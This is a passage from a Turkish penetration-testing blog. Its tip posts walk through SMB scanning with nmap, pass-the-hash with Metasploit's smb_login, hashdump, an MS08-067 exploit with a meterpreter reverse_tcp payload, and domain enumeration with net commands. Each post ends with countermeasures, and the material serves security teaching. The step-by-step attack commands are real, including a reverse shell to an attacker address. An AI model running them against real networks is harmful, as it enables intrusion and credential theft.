Büyük bir ağda çok uzun bir sonuç gelebileceğinden sadece IP’lerin alınmasını isteyebiliriz. Bunun için düzenli ifadeler (regex) kullanılabilir:
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep -oE '.*((25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])\.){3}(25[0-5]|2[0-4][0-9]|1[0-9][0-9]|[1-9][0-9]|[0-9])'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE '[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}\.[[:digit:]]{1,3}'
veya
nmap –Pn –sT –p 445 192.168.172.0/24 --open | grep –oE ‘[0-9]{1,3}[\.]'
nmap komutu ile 445. portu açık olan makinelerin listelenmesi

SMB dosya paylaşımı açık olan IP'ler bulunduktan sonra sadece bu makinelere sızılmaya çalışılabildiği gibi, tüm ağdaki makineler için de sızma işlemi denemesi yapılabilir.
Sızma işlemini deneyeceğimiz makinelerde, hashdump ile şifresinin özetini elde ettiğimiz yerel yönetici hesabı ile aynı şifreyi kullanan kullanıcılar araştırılır:
search smb_login
use auxiliary/scanner/smb/smb_login
show options
smb_login modülünün incelenmesi

Seçenekler uygun şekilde ayarlanır:
set BLANK_PASSWORDS false
set RHOST 192.168.172.0/24
set SMBPASS aad3b435b51404eeaad3b435b51404ee:da8aef7a322d9ecf8d1d7e220f837176
set SMBUSER administrator
set THREADS 15
set USER_AS_PASS false
smb_login modülünün düzenlenmesi

Exploit işlemi gerçekleştirilir:
exploit
SUCCESSFUL LOGIN sonucunu dönenler "administrator" kullanıcısına ait şifrenin özeti, elimizdeki özet değer ile aynı olan makinelerdir:
smb_login kontrolünde başarılı dönen sonuç örneği

Not: FAILED LOGIN sonucunu dönenler ise başarısız exploit denemeleridir:
smb_login kontrolünde başarısız dönen sonuç örneği

Not: smb_login modülü yerine hedef odaklı olarak smb_enumusers_domain modülü de kullanılabilir. Bu modülle ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com.tr/2013/11/ipucu-smbenumusersdomain-modulu-ile.html

Önlem

  • Ağ üzerinde kurallar tanımlayarak; belirlenen IP’lere, belirlenen portlardan kontrollü bir şekilde izin verilmelidir.
  • “administrator” gibi varsayılan yerel yönetici hesaplarının isminin değiştirilmelidir. Böylece yapılacak birçok saldırıda yerel yönetici hesabının isminin kolayca ve otomatik olarak bulunmasını zorlaştıracaktır.
  • Organizasyondaki makinelerde bulunan yerel kullanıcıların şifreleri farklı ayarlanmalıdır.
  • Yerel yönetici hesaplarının şifreleri,  şifre kırma saldırılarına karşı korumak amacıyla karmaşık seçilmelidir.
  • Kullanılmayan ve ihtiyaç duyulmayan yerel yönetici hesapları kaldırılmalı veya devre dışı bırakılmalıdır.


28 Eylül 2013 Cumartesi

İpucu: Yerel Yöneticilere Ait Şifre Özetlerinin Ele Geçirilmesi


Yerel Yöneticilere Ait Şifre Özetlerinin Ele Geçirilmesi

Amaç
  • Yerel kullanıcılara ait şifre özetleri elde edilecektir.
Yöntem
Önceki bir yazıda mevcut zafiyet kullanılarak hedef makineye SYSTEM olarak giriş yapılmıştır. Bu kullanıcı hakları ile SAM/SYSTEM dosya bilgileri elde edilebilir. Hedef bilgisayarın konsoluna geçilebilir.

getuid
hashdump
shell

Şekil: Hedef makinedeki yerel kullanıcıların şifre özetlerinin elde edilmesi ve makinenin kabuğuna geçilmesi

Hashdump ile ilgili ayrıntılı bilgi ve alınabilecek hata mesajları için bakınız.

Önlem

  • Makineye SYSTEM hakları ile sızıldıktan sonra, yerel kullanıcılara ait şifre özetleri elde edilebilecektir. Bu sebeple önceki adımların gerçekleştirilememesi için önlem alınmalıdır.
  • Bu adımda elde edilen yerel kullanıcılara ait şifre özetleri, diğer makinelere erişim için kullanılacağından, organizasyondaki makinelerde bulunan yerel yönetici şifrelerinin farklı olması sağlanmalıdır.

26 Ağustos 2013 Pazartesi

İpucu: Zafiyetin Kullanılarak Bir Bilgisayara Sızılması


Zafiyetin Kullanılarak Bir Bilgisayara Sızılması

Amaç
  • Zafiyet taraması ile elde edilen zafiyetlerden faydalanılarak, öncelikle bir makineye sızılacak ve sonrasında diğer makinelere yayılmaya çalışılacaktır.
  • Zafiyet tespit edilen makinede, tam yetki (SYSTEM kullanıcı hakları) ile erişim sağlanmaya çalışılacaktır.
Yöntem
Sızma teslerine başlamadan önce zafiyet taraması gerçekleştirilir. Zafiyet taramasının nasıl gerçekleştirildiği ile ilgili ayrıntılı bilgi için bakınız:
http://ertugrulbasaranoglu.blogspot.com/2012/12/ipucu-zafiyet-taramasnn.html
Zafiyet taraması ile MS08-067 açıklığı tespit edilen 192.168.72.201 IP'li bilgisayara sızma işlemi gerçekleştirilecektir. Bu sızma işlemi için, öncelikle msf konsol kullanılacaktır. Bu sebeple “/opt/metasploit/msf3” dizini veya mevcut dizin içerisindeki msfconsole çalıştırılır:
cd /opt/metasploit/msf3
./msfconsole
Şekil: msf konsolun başlatılması

Zafiyet taramasında bulunan zafiyetler Metasploit Framework içerisinde aranır, zafiyete ait modül kullanılarak seçenekleri incelenir. Zafiyet taraması sonucunda elde edilen zafiyet "MS08-67: Microsoft Windows Server Service Crafted RPC Request Handling Remote Code Execution (958644) (uncredentialed check)" şeklinde tanımlanmaktadır ve hedef makinede tam kontrol elde edilmesi sağlanmaktadır. Bu zafiyetli ilgili ayrıntılı bilgi için Ulusal Bilgi Güvenliği Kapısı'nda bulunun bağlantıdaki yazı incelenebilir.

Not: Windows 2000 işletim sistemi ile Windows XP SP2 ve öncesi sistemler Microsoft’un güncelleme desteğini kaldırdığı eski sistemlerdir. Bu sistemlerde güncel olan önemli güvenlik özellikleri bulunmadığı gibi sahip oldukları kritik açıklıklar için bile herhangi bir güvenlik güncellemesi üretilmemektedir. Bu yüzden bu tür eski sistemlerin aktif olarak kullanılıyor olması saldırganlar için önemli bir saldırı noktası oluşturmaktadır.

Aranan zafiyet modülü bulunduktan sonra sızma işlemi için gerekli seçenekler ayarlanır. Bu seçeneklerden en önemlisi RHOST (Hedef / kurban IP) değeridir:
search ms08-067
use exploit/windows/smb/ms08_067_netapi
show options
set RHOST 192.168.72.201
Şekil: Zafiyetle ilişkili modülün bulunması ve exploit işlemi için seçeneklerin ayarlanması

Hedefe yönelik tercih seçeneği de ayarlanabilir ancak bu seçeneğin ayarlanmaması tavsiye edilir:
show targets
Şekil: Hedefe yönelik seçeneklerin incelenmesi

Gerekirse, seçilen modül hakkında ayrıntılı seçenekler incelenerek, gelişmiş değişiklikler de gerçekleştirilebilir:
show advanced
Şekil: Modüle ait seçeneklerin ayrıntılı olarak incelenmesi

Exploit işlemi için uygun PAYLOAD belirlenir ve seçenekler incelenir.
set PAYLOAD windows/meterpreter/reverse_tcp
show options
Şekil: Uygun PAYLOAD değerinin seçilmesi

LHOST (Kaynak / Saldırgan IP) seçeneğine hedef IP’nin cevabını yollaması gerektiği IP bilgisi girilir. Exploit işlemi gerçekleştirilir:
set LHOST 192.168.172.200
show options
exploit
Şekil: PAYLOAD seçeneklerinin ayarlanması ve exploit işleminin başlatılması

Önlem

  • Organizasyonda belli periyotlarla zafiyet testi yapılmalıdır.
  • Sistemlerde bulunan zafiyetler giderilmelidir.
  • Eski sistemler yenileri ile değiştirilmeli, işletim sistemleri ve kullandıkları servislerin güncellemeleri geciktirilmeden uygulanmalıdır.


7 Aralık 2012 Cuma

İpucu: Hedef Makineden Sistem ve Domain Hakkında Bilgi Edinme


Hedef Makineden Sistem ve Domain Hakkında Bilgi Edinme

Amaç
  • Etki alanı ve son kullanıcıları bilgisayarları sızma testlerindeki hedef; domain admin kullanıcısının şifresini/biletini elde etmek ve/veya domain controller makinesine yetkili kullanıcı ile erişebilmektir. Bu hedefe ulaşmak için domain hakkında bilgi sahibi olunacaktır.
  • "Domain Admins" kullanıcı grubunda bulunan domain yöneticilerine ait hesap adları bulunacaktır.
  • "Domain Controllers" makine grubunda bulunan makineler tespit edilecektir.
  • Paylaşımları belirlenecektir. Bu bilgi ileriki adımlarda, hedef makinelere aktarım yapıp, o makinelerde program çalıştırmak için kullanılacaktır.

Yöntem
Sızılan bir makineden olabildiğince fazla bilgi edinilmeye çalışılır. Bu bilgiler makineye özel olabildiği gibi, makine domainde ise domain hakkında da olabilir. Bu bilgilerden bazıları aşağıdaki gibidir:
  • Makinede oturum açan kullanıcının aktiflik süresi:
idletime
Makinede oturum açan kullanıcının aktiflik süresinin bulunması
  • Hedef makinede çalışan prosesler:
ps
Çalışan proseslerin listelenmesi - 1
  • İkinci seçenek:
tasklist
Çalışan proseslerin listelenmesi - 2
  • Hedef makinedeki yerel kullanıcılar:
net user
Yerel kullanıcılarının listelenmesi
  • Hedef makinedeki yerel yöneticiler:
net localgroup administrators
Yerel yönetici grubu üyelerinin listelenmesi
  • Hedef makinedeki paylaşımlar:
net share
Makinedeki paylaşımların listelenmesi
  • Hedef makinenin bağlı olduğu domaindeki kullanıcılar:
net user /domain
Domain kullanıcılarının listelenmesi
  • Hedef makinenin bağlı olduğu domaindeki gruplar:
net groups /domain
Domain gruplarının listelenmesi
  • Domain Admins grubunun üyeleri:
net group “Domain Admins” /domain
Domain yöneticilerinin listelenmesi
  • Hedef makinenin bağlı olduğu domainde bulunan makineler:
net group “Domain Computers” /domain
Domaindeki makinelerinin listelenmesi
  • Domain Controller makineleri::
net group “Domain Controllers” /domain
Domaindeki Controller makinelerinin listelenmesi
  • Hedef makinenin bağlı olduğu ağdaki paylaştırılmış kaynaklar:
net view
Ağdaki paylaştırılmış kaynakların listelenmesi

"net" komutu ile yukarıda belirtilen bilgilerin haricinde daha bir çok bilgi edinilebilir. Bu komut yerine DC üzerinde hesap, grup sorgulaması yapan ve arayüze sahip "Active Directory Explorer" uygulaması da kullanılabilir. Bu araç aşağıdaki adresten indirilebilir:
http://technet.microsoft.com/en-us/sysinternals/bb963907.aspx

Not: Domainden elde edilebilecek bilgilerle ilgili aşağıdaki sayfa incelenebilir:
http://ertugrulbasaranoglu.blogspot.com.tr/2012/10/domainden-elde-edilebilecek-baz-onemli.html


Önlem
  • Domain makinelerinde "net" komutunun kullanılması engellenmelidir.
  • Domain yöneticileri gibi yetkili kullanıcıların bulundukları grupların adları, dikkat çekmeyecek şekilde değiştirilmelidir.
  • Açılan paylaşımlardaki izinler sadece erişmesi gerekenlerin ulaşabilmesine olanak verecek şekilde ayarlanmalıdır. Yönetimsel paylaşımlar eğer kullanımları gerekmiyor ise domain politikaları ile kaldırılmalıdır.